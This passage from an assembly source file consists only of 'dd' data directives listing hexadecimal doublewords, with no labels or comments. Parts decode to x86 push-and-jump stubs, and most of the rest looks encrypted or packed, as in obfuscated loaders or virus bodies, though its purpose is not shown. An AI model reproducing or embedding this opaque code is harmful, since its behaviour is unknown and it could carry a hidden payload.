0FFFFFF7Bh, 39F60E0Bh dd 468D8DCEh, 66065400h, 89EEFBB8h, 4E2B058Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 13E808h, 2EF50000h, 0E9F2DC0Bh, 0DFDB8F6Eh, 41292981h dd 0A16FA8AAh, 5FFE8BCDh, 2B6585C7h, 5C8C064Eh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 236050C3h, 4E31C195h, 0C296BF06h, 0C761696Ch, 4E065D85h dd 6, 6634BA00h, 0B5FF786Bh, 64E0EE5h, 0FE5BD89h, 95FF064Eh dd 64E0F99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 3AC35646h, 1F266C1h, 4E2C398Dh, 0FF006A06h, 4E1A5995h dd 0EBC08B06h, 81FC7C0Eh, 73AE0CA8h, 484D3884h, 0E8FA5C05h dd 13h, 0EF2AC73Dh, 5961AA80h, 0ACC1C05Bh, 0C18F3497h dd 0F064661h, 187h, 8B5FF500h, 4E089D95h, 9DC78106h, 0B800006Ch dd 40AE2E4Bh, 1AFB68h, 75B50300h, 5B064E15h, 0AA656CBEh dd 660F8B7Dh, 0C181F08Bh, 434D5B1Bh, 0E3D858Bh, 0F181064Eh dd 6A8EA50Fh, 0AD62DE81h, 0C181302Ch, 240E9791h, 0F89E1B6h dd 0EF83ECB4h, 0BE804h, 793C0000h, 84A9E3FDh, 0B9CA0F8Eh dd 9D89601Bh, 64E20D9h, 5E616160h, 0F01EB83h, 1D85h, 0B495B800h dd 1EE938FDh, 78000000h, 4149BD9Eh, 5BDB5BCAh, 26BE1EAh dd 0DAF1B56Bh, 0E9FC86D5h, 0FFFFFF8Dh, 0C19596EFh, 79EB2Fh dd 8CEF9E7Dh, 0D60FE221h, 979FABAFh, 0E37C4DB2h, 720095B7h dd 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h dd 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh, 0B99D8993h dd 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah dd 4D520071h, 5EF357DBh, 0B79BB7D6h, 0ABAFF600h, 9F8995h dd 0C77156F0h, 0BEB3D7h, 0D7567118h, 73E2ADC4h, 0A2D9D07h dd 0EDCE9h, 3946800h, 0F2E90654h, 68FFFA7Dh, 65404A9h dd 0FA7DE8E9h, 57768FFh, 0DEE90654h, 68FFFA7Dh, 65406D2h dd 0FA7DD4E9h, 75168FFh, 0CAE90654h, 68FFFA7Dh, 6540823h dd 0FA7DC0E9h, 8B968FFh, 0B6E90654h, 68FFFA7Dh, 6540956h dd 0FA7DACE9h, 9FE68FFh, 0A2E90654h, 68FFFA7Dh, 6540AB4h dd 0FA7D98E9h, 0BDD68FFh, 8EE90654h, 68FFFA7Dh, 6540E2Dh dd 0FA7D84E9h, 0F2168FFh, 7AE90654h, 92FFFA7Dh, 9A8805C7h dd 0A89613C9h, 0B3A11EDEh, 0C8B633A9h, 6FC03DBFh, 0FBF17EB4h dd 0AC2907Eh, 1CD09F8Dh, 29A3B19Fh, 360CD3ACh, 0B7D33441h dd 7D6FFAD5h, 0CC08DF7h, 0BC5EE46Ah, 91DE86CEh, 0AD33B95Bh dd 2C84B830h, 0B0EB7765h, 27369DDAh, 65EB71BEh, 0E5AC3DC3h dd 74C5290Fh, 0CB9785B4h, 991FDDA9h, 7BE071F7h, 0CBFAF1BCh dd 33B90F66h, 0C5B8BB91h, 0E3CCB7D8h, 5F271592h, 20A50C9Dh dd 0BE512FC7h, 47h, 2E41F333h, 0BB21BECBh, 9D64EAF2h, 74B50DC7h dd 0EE7361B4h, 7C7000EEh, 5E0086EBh, 0E2D9A997h, 0D9316B0Ch dd 9F25ABB7h, 10E677FDh, 0B7D93163h, 6AE73821h, 1DBDC3ABh dd 19AA9C7Bh, 2F5E13B2h, 0FAC951h, 7D3E0000h, 6553F5F7h dd 561DE418h, 2736F780h, 9117BEh, 0ECE0705Eh, 0D8145C4Ah dd 0DAA6945Bh, 0C1BB9122h, 4DBE272Ah, 0A62DC786h, 26C2FCFh dd 26704B2Ch, 0B445CBBEh, 2E05BEC6h, 0B8028498h, 8270ED73h dd 4533FAF2h, 0D0A77D3Eh, 3EBE2664h, 0A9032B8h, 2210D779h dd 0F3845A51h, 23BE2664h, 0E86179Dh, 924A1A6Ah, 1DE46AF0h dd 73F67547h, 68E56BB4h, 7304DAA1h, 0A3B7D843h, 437106DCh dd 1FA5B7D8h, 0EC900899h, 1E7E7CBh, 24AA7F3Bh, 0E0AD875Dh dd 0DD63AE27h, 12614F16h, 21B238DAh, 35B22A33h, 0E563E47h dd 0E47C48CEh, 9D42B631h, 0C3CA6FBh, 46110000h, 561B0986h dd 232B1996h, 323E2CA9h, 64F3DBAh, 2BF849C6h, 17E7E07h dd 108D4F13h, 1C995322h, 29A6262Eh, 0C4B38950h, 52B7D333h dd 0F07DEC77h, 0C3917FFCh, 8D7B4209h, 443309C3h, 0D2BE2736h dd 0B33EBB4Ch, 0A06741F3h, 74D10ACAh, 4805C4B4h, 9B9672B1h dd 21F7991Fh, 0B7D84652h, 0EB02C33h, 0F99B5120h, 461B5C32h dd 75FBB7D8h, 81BD0EF7h, 3B58A992h, 512F338Ah, 0D3EDB675h dd 3650BBC7h, 0E0BDA5h, 7D320000h, 6F2EF5F7h, 10DE4BBh dd 610394E4h, 0DBB1EA73h, 0BE26869Ch, 0A76EF47Ah, 866D0AE0h dd 1BA1BE26h, 6A12E88Ah, 0DBBE267Ah, 0C9905795h, 90B66C0Ah dd 7A501DC5h, 0BE26C2FDh, 0EEC48B11h, 0BE26C289h, 0F976078Dh dd 7046450Bh, 0BE26C307h, 8BB24807h, 404AB50Ah, 1A9234BAh dd 0F1C78E66h, 0B4747ECBh, 0CA42BF45h, 0A1773E96h, 0AE2811A2h dd 0D1BF860Ch, 0C2814884h, 0B42D9B7Fh, 39B6473Eh, 0FECA024Bh dd 42B65070h, 271E7315h, 2600000Bh, 3624A15Bh, 4432AF2Dh dd 5745C23Ah, 6452CF0Dh, 1364E11Bh, 97552210h, 0A6262C1Ah dd 0B8343B29h, 0C5074D3Bh, 0D2A86F48h, 0B7D332A5h, 7D038E69h dd 0B87FFCF0h, 365C1BF1h, 0F3BABE27h, 27365A1Dh, 0B036BCBEh dd 366413E9h, 2CB2BE27h, 25A7AD9Bh, 0F77D1DA8h, 0C58C53F5h dd 273688EFh, 6F0086BEh, 7CF9F381h, 6A0CC08Eh, 7BF8F47Ch dd 0B8DCE40Eh, 0DD6399E8h, 2A344016h, 8A78B475h, 0E7304F8h dd 2D471D88h, 0D08062C1h, 0A77D44ACh, 0C2B0F74Dh dd 239B3DC3h, 0FAD09771h, 0BCEF7E9Ah, 0A0672EB4h, 8D4D5FE1h dd 3F495662h, 0F951BBDh, 0CC0907Eh, 0B1D3A18Fh, 0BC8325A7h dd 4B7891E6h, 79FF85CCh, 0C8A327F3h, 92343473h, 0A593Dh dd 7369F400h, 817B08F6h, 94481604h, 9D5F2917h, 0A7253220h dd 0E84AD92Ah, 0F2E05D9Fh, 1EF6C60h, 0FFD7A72h, 350E8B41h dd 31DF986Eh, 542FB7D3h, 0F5F77DC9h, 4FB9DB53h, 273EB288h dd 806EB475h, 267F8F4h, 0D587FF7Ch, 0AE6D34FBh, 0EBA311h dd 2C029367h, 0AE26CBBCh, 0DBB9CAB8h, 32D45A92h, 30B61BACh dd 88D9C78Eh, 0E66C60ECh, 572DBE44h, 0BE27321Ch, 112E7F68h dd 577E1FB4h, 592Ah, 0E5A49F00h, 0C0D32529h, 4AC253BBh dd 0CF0D5616h, 5A21A72Dh, 74CD1F84h, 81480FB4h, 0D8E0CCABh dd 0EEC44AB7h, 0B7D8E089h, 0BA81078Dh, 0F446BAFBh, 0C95AE3D7h dd 8F4D1402h, 0A57009C8h, 9A069BCAh, 0C3B68C09h, 0C6B7D8C8h dd 0D3C13EBEh, 0E7AE508Ch, 0DF706CF9h, 9818Ah, 41F3FF00h dd 9CC7482Eh, 79FFD4AEh, 0EA1DDCB2h, 73F9B47Ah, 680FE5ACh dd 0A6B7D2F8h, 57956120h, 62A0CF67h, 541C0AD1h, 95541B98h dd 0F3051EEFh, 3F18200h, 0CAB87F7Dh, 10B243B9h, 0DAA4E498h dd 0CFA8022h, 60E68844h, 6B3D13DAh, 0CDAE26CAh, 0C2928047h dd 0D8C68D0Ah, 0D1BF508Ch, 0AE2F1083h, 74148149h, 0A0D44CEEh dd 0B553A30Fh, 7C02F5F3h, 6BADDFB5h, 0DD63B474h, 0E6859711h dd 1D721448h, 8FEh, 4BC8044Fh, 5BD8145Dh, 6EEBE16Dh, 7BF8F480h dd 8F0CC08Dh, 4DE53Eh, 11614FCCh, 0E1705EDBh, 0F0806EEBh dd 0DFA67FFCh, 0D3306E09h, 3AC5A0B7h, 2736DE95h, 917B1DBEh dd 35ACF4CAh, 149AB47Bh, 0DB115F4Dh, 0ECE0705Eh, 46AED24Ah dd 29F9B87Fh, 4D4A7376h, 7A764CDDh, 2AAE2120h, 15B7353Ch dd 0B48C2056h, 9319D518h, 7781F6CCh, 0F95BE0Ch, 0C793197Eh dd 42B2C957h, 7FC91EC0h, 0CE000008h, 0DECC4983h, 0ECDA5795h dd 0FFED6A62h, 0CFA7775h, 0BB0C8943h, 3FBDCA68h, 4E8ED4C2h dd 609CE3D1h, 6D6FF5E3h, 7A5017F0h, 0B7D32FFDh, 0A4AB3611h dd 0E04212E5h, 268A6D0Ah, 5C1BA1BEh, 0A637E8E6h, 57FBA8B8h dd 59B99147h, 0DB619BE4h, 0BFC5B355h, 0AF518BD5h, 1DDCA329h dd 0F181C8BAh, 0C0603CFBh, 629AE3D1h, 7A93AC0h, 0A421725Bh dd 8C7007DDh, 189EBE26h, 0BB0C2159h, 0EA7B4F68h, 7DFF4283h dd 37E9C57h, 0F3110000h, 0CAA06741h, 0B47B35C2h, 682FF67Ch dd 4EF0EC7Ah, 3B4937C8h, 0E5644C1h, 0CDA31866h, 0B7D335AAh dd 0DA60E66Ch, 35116238h, 0B6EAB7D3h, 2FC1975Eh, 0E1AE2126h dd 2833441Ah, 5DE3BE0Dh, 18A50BD7h, 58FA42B2h, 7AD03h dd 17D5A000h, 25A7AC9Ah, 30ACBAA8h, 41BBC5B3h, 5389D6C4h dd 949E85D6h, 0A69411CBh, 0B5A320DCh, 0C3B12EAEh, 0E9C23FBDh dd 2E2B4C22h, 10EBB7D3h, 0F5F77D85h, 0D49E8C53h, 5FF07618h dd 47E9E371h, 4461B29Bh, 577E3781h, 2E75Bh, 0DE95D000h dd 1DBE2736h, 0A05C297Bh, 0D97D531Ah, 53B47B29h, 481806CDh dd 3006CD94h, 0B7D33547h, 0A5341C7h, 19AA30D2h, 26A6AE9Ch dd 80680C84h, 7804F2B9h, 0CB5CE284h, 2125FBF5h, 0BB870DAEh dd 42B2185Fh, 17A9FEA0h, 36000007h, 4634B12Bh, 5442BF3Dh dd 6755D20Ah, 7462DF1Dh, 2374F1EBh, 0A7253200h, 0B6363C2Ah dd 0C8044B39h, 0D5175D4Bh, 0E2B87F58h, 0B7D32E95h, 7D139E79h dd 6553F5F7h, 8F3BDD1Fh, 8D3855A6h, 4F577E37h, 258h, 0AFB6A4C4h dd 0ADC69C2Dh, 4EBE2736h, 25FBC22Ah, 0B47B2926h, 9D8B52D8h dd 0D19815D7h, 0BF619BE3h, 355522F8h, 33B9B7D3h, 454EEADh dd 0CF5966A8h, 0CC00503Eh, 268EB22Ah, 0F3F3895Fh, 0CC8BAE20h dd 0FBEBF26h, 34A8B647h, 32B81DAEh, 0B23C1466h, 4A9F4142h dd 67Ah, 0D75488D3h, 0E76498E9h, 0F26F6DF9h, 7847804h dd 13904C19h, 84D161C2h, 95DDCB48h, 65ECDA57h, 74FCEA67h dd 5B22FB78h, 0D32DF285h, 0BE4924B7h, 84B0E5A4h, 0D6675F4Ah dd 6B095745h, 0BE60E6E6h, 304230F7h, 2991E6BCh, 0FF85BE27h dd 94F0806Eh, 0E5870DCFh, 0B85CAD96h, 50B734A8h, 577E1675h dd 767h, 9516DC00h, 8B000001h, 2736D895h, 937D1FBEh, 2914F6CCh dd 78FEB47Bh, 3FBDC3B1h, 508CD4C2h, 0AA0236AEh, 2D6F0DE3h dd 11FFAE21h, 96561D47h, 46E86EF4h, 44CA2FC0h, 0B2103078h dd 52A74942h, 5D2h, 7FFCF07Bh, 8F0CC091h, 9A17D5A1h, 0AF2CA0ACh dd 0BB38B4C1h, 0EC79B96Ah, 0FD8573F0h, 0CD9482FFh, 0DCA4920Fh dd 3CAA320h, 0D32D4A2Dh, 66F1CCB7h, 2EF5F77Dh, 0D533140h dd 0B9A749CFh, 0BEAC32AAh, 9AB3CB0h, 0F597551Bh, 0C86CBDA6h dd 60C744B8h, 577E2365h, 777h, 0F916EC00h, 8B000000h, 2736D995h dd 947C20BEh, 5597DFCDh, 4836FDC4h, 27FDC438h, 0BE273650h dd 0D1A738BEh, 0B47B2930h, 0F2855B22h, 24B7D335h, 6351189Eh dd 0BA40E21Ah, 0EC746229h, 0FF8573F0h, 0B1E35BFDh, 0C96B61EFh dd 20F6BD43h, 0AE212D5Ch, 0C200CC52h, 0C742B210h, 51CD025h dd 26310000h, 363B29A6h, 34B39B6h, 125E4CC9h, 0E66F5DDAh dd 0B1869E6h, 219E5E27h, 30AD2F33h, 3CB93342h, 49C6064Eh dd 0A4D3A970h, 72B7D32Ch, 0F77D0C97h, 0C58C53F5h, 273688EFh dd 120086BEh, 64EA8C40h, 5D9FE5D3h, 0B7A56CBBh, 0C9234A8h dd 9D41927Bh, 319815D7h, 577E2394h, 74Ah, 3D16BF00h, 8B000000h dd 34A8B6A4h, 8D7B0C92h, 756305C7h, 0FDFF85EFh, 9AE7D577h dd 84D2C062h, 3220A648h, 3206A824h, 0E8BCF849h, 7A0AAEFFh dd 0F294481Ah, 1469E66Ch, 2Ch, 0DC105F4Dh, 9823B43Ah, 53F5F77Dh dd 2736F77Dh, 9C390BEh, 0F2EA7967h, 91E2CB50h, 0BFAD7455h dd 0E9436B6h, 9F43947Dh, 139E1BD1h, 53F5F77Dh, 380EB9DBh dd 0BE27363Fh, 0FCC349CFh, 7B28D326h, 0F2B93FB4h, 3807C04h dd 0EB8D4F15h, 20E7C173h, 27345E4Ah, 0DAAF6EAEh, 0FA22AC47h dd 0B743657Ah, 70F6AAFBh, 2DF47ADFh, 3EBB313Fh, 2ACC0050h dd 0FE58EB2h, 0BE266D68h, 0D39A20A6h, 74008FFDh, 6F3BC1B4h dd 48E6F63Bh, 0F3358A2Ch, 5A000003h, 6250CD0Fh, 705EDB11h dd 7B69E6E6h, 907EFBF1h, 378805C7h, 0C33946ECh, 0D20A5846h dd 0E4186755h, 0F1EB7967h, 0FED49B74h, 0B7D32B79h, 7D37C29Dh dd 0B178F5F7h, 366314EAh, 2DB3BE27h, 13B5373Fh, 460EFC8Dh dd 6EF6E486h, 947DCC6Eh, 1BD19F43h, 238E379Eh, 8371577Eh dd 8A7203F9h, 4Fh, 6741F3FFh, 0E4D9CAA0h, 0CF55B474h, 914B1A08h dd 5A92DCCAh, 24A132B8h, 0E7E56F5Dh, 0D10B5745h, 95E4BA4Bh dd 0F8B7D8E8h, 0EEAD7468h, 6EF509D0h, 8746CC6Eh, 8B1CB399h dd 9B51200Eh, 5E9EE6D4h, 4A82CEBCh, 0B9C22A8h, 3441469h dd 0F3890000h, 0CAA06741h, 0B474DAA2h, 0B8BF955Ch, 0F4B7D922h dd 0D922591Eh, 0D237BDB7h, 3624C64Ch, 0CBDC752Eh, 184A1536h dd 331CF092h, 2880B4E2h, 0B3C49A61h, 63B7D8EBh, 0AF854CDDh dd 0AE268FBDh, 0D850CD53h, 0AF854CA4h, 0B4747BBDh, 3D2BCD53h dd 7F5BC30h, 4AEC7D7Fh, 6492E3CCh, 4A11D830h, 459F145Ch dd 0DE253772h, 2882AB0h, 0EE904C14h, 6B01D768h, 0A5AE2626h dd 0ACB4A21Fh, 0D0A08E30h, 967205DBh, 1EA4BE26h, 96F68157h dd 9218BE26h, 65178F0Ch, 8AD6C48Bh, 7F317D19h, 0F278B6EDh dd 5D0BCA50h, 0C51377ACh, 7F460D9Eh, 0BF4B1C0h dd 1DAEE15Bh, 7491F147h, 74F3DB4h, 18C9AE84h, 0C74DB7D9h dd 0A3B19F41h, 0AD12A329h, 0C4AF8527h, 0C0B7D918h, 5C6986D7h dd 82513019h, 35h, 6741F3F7h, 65EBD9A0h, 3E06C567h, 0C4F776A9h dd 895FF076h, 0B474C24Bh, 7DD7F05h, 0B7D9206Ch, 0C1DE2F18h dd 51300E04h, 8C400DFBh, 0EBD364EAh, 0DAh, 0B4F77D60h dd 273699DEh, 9F77DBEh, 58DE807Ch, 354230D2h, 3B29F0B7h dd 97E0B636h, 77BE2736h, 0F7BE60F1h, 287B238h, 26454B2Ch dd 8645CBBEh, 23B4FF41h, 0BAD2F35h, 1895571Dh, 26A13A42h dd 27A5ABBEh, 0D0B4BCAAh, 43340A81h, 0D3BE26ACh, 9F25C74Dh dd 0ACFF3CE0h, 0C34900B8h, 1DF7A921h, 83F48056h, 5B1AB474h dd 296B2691h, 0B936BCB3h, 0EEB51F41h, 27AFF318h, 0BE850BAEh dd 0C84587D0h, 834F8DDAh, 42B68259h, 0A33F9436h, 0AA000001h dd 0B2A01DDFh, 0C0AE2BA1h, 0CBB936B6h, 0E0CE4B81h, 87D85597h dd 13C9969Ch, 22DAA896h, 34A8B7A5h, 41BBC9B7h, 4E24EBC4h dd 0B7D32829h, 7D8712EDh, 92E5BBF0h, 0FBBE2736h, 51D77973h dd 19E066ECh, 18A9232Bh, 25A7AD9Bh, 41F31DA8h, 36275026h dd 61E7BE27h, 774D14DBh, 0BE273700h, 30F7880Eh, 74D07A5Ah dd 582614B4h, 3AC1E5A4h, 0A2868F3Bh, 0C5B37A1Ch, 0D8AE3FBDh dd 0B7D86A9Bh, 92AF00E9h, 512F5833h, 0A3A9h, 0E5A41E00h dd 740E2FE4h, 4230C192h, 2A18BA32h, 27FD9F5Dh, 0BE263255h dd 0BD3AB2C2h, 581281CFh, 0CD02A40Ah, 440BAD33h, 0D02CAA85h dd 8C1D0214h, 0C1886014h, 748489EBh, 16C887B4h, 1F07E691h dd 1AD9A026h, 9271BB6Bh, 139021EAh, 480FF99Bh, 2827BA72h dd 7CE54AEh, 13904C19h, 0D8A45825h, 42B6EDB8h, 0AF8ADF81h dd 9E000000h, 0AE9C19D3h, 0BCAA27A5h, 0CFBD3AB2h, 0DCCA4785h dd 8BDC5993h, 0FCD9A98h, 1EDEA492h, 30ACB3A1h, 3DBFC5B3h dd 4A20E7C0h, 0B7D3272Dh, 7D7B06E1h, 917FFCF0h, 18C09C3h dd 53F5F77Dh, 60DD1F65h, 955CB4E8h, 7B2932BFh, 0BC5EE4B4h dd 7F4686CEh, 6A0CC091h, 0E8D653E4h, 0AF9D6498h, 0F39526A6h dd 4DA3B51Dh, 0B607F0A7h, 0D8A4212h, 0F99B511Fh, 0E98B410Bh dd 0B431826Bh, 5BD101F5h, 13A46591h, 85645F25h, 78306F0Dh dd 0D2C03DC3h, 0E1A84A82h, 57D82522h, 25B6D37Bh, 11D0h dd 0B6A44500h, 88E30ACh, 76642B77h, 0C64CEEEEh, 0F27DAA35h dd 1A6A58FAh, 35240E2h, 293927C9h, 5A2311B3h, 451200A2h dd 6DF7E587h, 97DFCD6Fh, 0BCC5B355h, 56129E40h, 0C681E689h dd 4, 8704EE83h, 248B2434h, 52326824h, 14890000h, 0E3895324h dd 4C381h, 0EB810000h, 4, 5C241C87h, 50240C89h, 540215B8h dd 585A5006h, 240C8B54h, 8304C483h, 148904ECh, 8418F24h dd 592434FFh, 8B04C483h, 89512414h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 6F2FE95Ch, 6DE1FFFAh, 814EF783h, 56F6D50Ah dd 32DC4BF7h, 0FF5B813h, 0C5030654h, 13D6E0FFh, 0FF448A1h dd 0B32657DAh, 0BE034E8h, 7DE11F7h, 0DFCC4768h, 0E4F94354h dd 9A1E49CAh, 0ED3E2CD0h, 0D3E034D4h, 5F860A94h, 0F5FE2F5Ch dd 0B5C65D77h, 0CF0472CBh, 76B3534Dh, 0A1D30D42h, 0EDC2250h dd 0F7BA12AFh, 0A98E6A61h, 6255139h, 0D65E2CCAh, 0BA29059Dh dd 0ACB86E0Eh, 0B6A7120h, 0E6D10293h, 212D0A53h, 0BA1A256Ch dd 145300BAh, 56043706h, 7DE96CBDh, 60000001h, 6C4FFE5Dh dd 0D76FC201h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh dd 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h dd 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh dd 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h dd 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0) dd 3736D1F8h, 0D3C20DA4h, 4ED188C4h, 10BEE9h, 14446800h dd 57E90654h, 68FFFB39h, 654153Fh, 0FB394DE9h, 171368FFh dd 43E90654h, 68FFFB39h, 6541821h, 0FB3939E9h, 195568FFh dd 2FE90654h, 68FFFB39h, 6541A51h, 0FB3925E9h, 1B2568FFh dd 1BE90654h, 68FFFB39h, 6541BC8h, 0FB3911E9h, 1CD468FFh dd 7E90654h, 68FFFB39h, 6541D3Eh, 0FB38FDE9h, 1DFC68FFh dd 0F3E90654h, 68FFFB38h, 6541EA2h, 0FB38E9E9h, 1F2968FFh dd 0DFE90654h, 68FFFB38h, 6542055h, 0FB38D5E9h, 219B68FFh dd 0CBE90654h, 0EAFFFB38h, 5DE79866h, 0DB6516F4h, 5AE49577h dd 0D25C0D09h, 3CD58694h, 66B4B2A5h, 0E3392BB5h, 5DBDA832h dd 0D12D22ACh, 0E3A24A20h, 1CC8FCBAh, 0E12ED769h, 7D07906Eh dd 28C34D2h, 4C0BB34Fh, 1A9CEF23h, 4AFB87D2h, 125227DAh dd 0F17AA0C5h, 68105BA6h, 0D2C2BDA9h, 1AA3EE1Ch, 620BCA72h dd 91E32D3Dh, 3D7D2AE9h, 65B0E32Dh, 0A2CF8E1Ah, 11E32D3Dh dd 130E93ABh, 5432385Fh, 3Fh, 0A427D7ACh, 431B9DFBh, 6FB0EB7h dd 0C74B0AB2h, 0F41CD2F6h, 951EFC6Ah, 77A3C04Ah, 0BFE4A32Ch dd 26E32D09h, 871186C0h, 1BB13DDFh, 32384F06h, 0CB61h dd 0E1E4B900h, 1CC3CFC6h, 0E1DC8511h, 7D07906Eh, 20AA33E9h dd 0C04AD32Fh, 3C2738Fh, 1A9CEB8Ch, 0A95AA8A7h, 0B675301Fh dd 0E5631489h, 52DB2728h, 0FB469107h, 45F5CA72h, 50B2A0C2h dd 57E50E7Bh, 6341EF98h, 88D31EE5h, 43758CFCh, 0B34F39Bh dd 0BAE56341h, 95E02230h, 48A26109h, 73E32D60h, 62AB8028h dd 9131DE4Ch, 0F060119Dh, 40FFA711h, 0E57DE552h, 0C963E89h dd 850FC05Ah, 70E73BE1h, 87B56667h, 0E2C9FFEh, 2B250000h dd 0AFA22CDDh, 3A18A253h, 0D68D17C8h, 61058F40h, 0DA710ABBh dd 0EC9D7FE7h, 63140262h, 0DD8E8CD9h, 5D0EFC53h, 7720DF87h dd 0A61CC8FBh, 85E16B14h, 0F35CE697h, 0E9BE6617h, 0D496D69Eh dd 7B24B07Eh, 11A4EEC3h, 2ACD2EA6h, 0E5D32E9Eh, 0BD347E3Dh dd 0DC271CD2h, 59A5AA34h, 0FA2046D0h, 0DB9A23AFh, 0E32EDEB6h dd 79020051h, 19A260EFh, 87BDD93Fh, 0C62B63C9h, 3238045Bh dd 0C60Ch, 6EE16300h, 0E97D0790h, 0EF6E17D6h, 0C8891A9Ch dd 2E79C43Ah, 0EB6FE6A5h, 0C58A1A9Ch, 14701DDCh, 19A3E563h dd 0F742CB39h, 44DDD7ACh, 38DF26B1h, 9DB23CEDh, 4CD54122h dd 840EB601h, 23AC38E2h, 4E0D4EB3h, 0E5634021h, 963E89D4h dd 40062FEEh, 6AB5E563h, 737736DEh, 48E32D61h, 25DC4CFDh dd 372CEB93h, 86E57DD4h, 5D09933Bh, 0E2840EBFh, 4A7BE438h dd 0F17AB566h, 0D3192h, 0D2302000h, 48BA9721h, 0C7450D97h dd 43D78C16h, 0BC5E0892h, 0E8DB720Bh, 61EB9C7Eh, 0DA641503h dd 54DE8F8Bh, 885E0FFBh, 0FA7421E0h, 15A71CC8h, 0D85E16Ch dd 91BC447Ch, 0BD6EB9F3h, 3DEE1C33h, 12EED95h, 0B41A9C38h dd 0E134DD69h, 2568066Eh, 0AD3D539Ah, 0A2772D6Dh, 0FCE9937h dd 1A9C3666h, 0B4FF4A95h, 36E4820Ch, 0EF7921AAh, 0CD18A163h dd 0D98B741h, 9C36214Eh, 3E89D41Ah, 0C2580C96h, 0EC158536h dd 0BE47C58Dh, 0C1802873h, 1CD210D9h, 6F2EB702h, 0E32E5CC2h dd 0AE334BB1h, 32378273h, 8DF4h, 0A1C24C00h, 0C340E975h dd 61EA1839h, 0E71A8A16h, 6204BF92h, 99E42FB8h, 23E7A64Eh dd 0D81CD2C6h, 1C45048Dh, 0BBE32D39h, 3FE770AAh, 2D39D780h dd 31BB06E3h, 805AE321h, 0AC87C1Ah, 52FBBA62h, 81E32D39h dd 67A3AC36h, 0A10793DEh, 5B1D04E5h, 374A3238h, 0A1000000h dd 0AB206FBh, 0D2E1DF4Bh, 891DC1Ch, 2D1E1849h, 3293BFE3h dd 0E97E220h, 0AF38E284h, 1E1F4807h, 83CEE32Dh, 172D69CFh dd 565BF359h, 323843CBh, 199Ch, 0E40CF300h, 64000008h dd 0EF50FDBCh, 0DB831A9Ch, 9CEF731Ch, 0C57A21Ah, 6FBD780h dd 0E4800AB2h, 0EF6D1AD9h, 55A01A9Ch, 0AA36810Ah, 0FD7C4302h dd 206B1CC8h, 0A561EE78h, 8FE56AF4h, 7AB82174h, 33F29A78h dd 0E337230Ah, 9A236EB9h, 39E1D72Ah, 6333387Ah, 0AC6B13E5h dd 0E9CB5483h, 58AAA832h, 0EE3984CFh, 3893BC46h, 0EFA0EB17h dd 75DDEA65h, 0D5C2950Dh, 0C61191B7h, 8B4AF23Dh, 0E9CBB2E2h dd 0F27BC611h, 0F3AF7F82h, 718DC2D8h, 60D0789Ch, 0ACAE6D15h dd 0FEF8584h, 0B4FD70C4h, 73FCAB0Fh, 0B5D14h, 0AE5CF400h dd 2CDE73FDh, 0A361F17Bh, 1FFB68F2h, 9882E46Eh, 0C4B74EE7h dd 3DC778A2h, 0B640F127h, 30BA6BAFh, 5C32E31Fh, 0F848F5B4h dd 0E97B1CC8h, 0EE87AC40h, 0C53C1A9Ch, 0CEA34BF3h, 1CF52633h dd 6B2AB6CCh, 0E3379094h, 0DBB058A3h, 0A49DAFC1h, 0F70B0456h dd 1087EEC3h, 0BFFF8789h, 93DE54B0h, 0D9AE5607h, 0FAA191C9h dd 0B117EC85h, 0ED9D053Ch, 0A65BCB57h, 13956A12h, 40466332h dd 0C98830BCh, 0E563CBC2h, 37601FC7h, 0E6E9CBCBh, 4E990F9Bh dd 0D7331CA6h, 4FB75A2Fh, 9B2E5391h, 0CACAA86Eh, 37C30EC3h dd 7853FC86h, 6A13D2EBh, 99E9CBA2h, 2F7A034Eh, 2CCE525Ah dd 0ADF8B0F0h, 6B4DB424h, 22A604C3h, 4A95EF9Fh, 2B9FCDA2h dd 2EF6C05Fh, 0AA52FAA2h, 9F3742EBh, 0AC971F7h, 0F79F375Dh dd 6EFA4590h, 0EE9F6BE4h, 961FEB64h, 180264EEh, 0F9B8448Fh dd 779F374Ah, 963E7A87h, 0D11107D7h, 1569B471h, 20B32C44h dd 4FAF0E97h, 200000Ah, 75FFB04Eh, 0F37D2EDCh, 72FCAD5Fh dd 0EA7425F1h, 54ED9E7Ch, 7E9CCABDh, 0FB2143CDh, 75A5C04Ah dd 0E9153AC4h, 0FBBA6238h, 1CC8F752h, 0FB46EF81h, 4B0AB206h dd 1CC8FE74h, 6903883h, 820CBD49h, 0A472F2CDh, 0FC85D01Bh dd 9B43758Ch, 6311E9DCh, 15BD08E5h, 9C6EE36Dh, 0B23CC813h dd 26B0619Dh, 0AB35DD29h, 4CD561BBh, 0CB371AA4h, 0FB6BF742h dd 4B0AB206h, 0EF9F2007h, 721BDA82h, 0A1F79F22h, 954CA56h dd 8A78D761h, 0D0D58E2h, 701DDC84h, 0A3F79F22h, 0D0810D58h dd 0E1A00946h, 0F79F22B4h, 48D11C67h, 9F22D889h, 73E819F7h dd 9F228BB4h, 0A4EF3AF7h, 33023DFCh, 66B1F1CBh, 0C38C16BEh dd 0B473BE47h, 0FC33538Bh, 0BB63EF3Ah, 98561E31h, 0ABDF6AD5h dd 0DD671863h, 630B9472h, 0BA8F8DD9h, 4DECB452h, 0D949D52Ah dd 5EE89028h, 0E18915F1h, 65B7AF39h, 460591DCh, 0FA678647h dd 0FAA22B76h, 9F7C2F25h, 0CB57BC69h, 6A12A65Bh, 3CF8EDC2h dd 5C396625h, 0A1ECFAC7h, 0E2DFD9CCh, 0C04C9783h, 89AE4901h dd 0D32772FCh, 9C0BA28Ch, 1B63C24Bh, 36000009h, 0B13BEC1Ah dd 27B162A0h, 9E28D92Bh, 16A051C5h, 8019CA50h, 0AA70F6E9h dd 27F56FF9h, 0A179EC76h, 1DE966F0h, 2FEE966Ch, 1CC8F606h dd 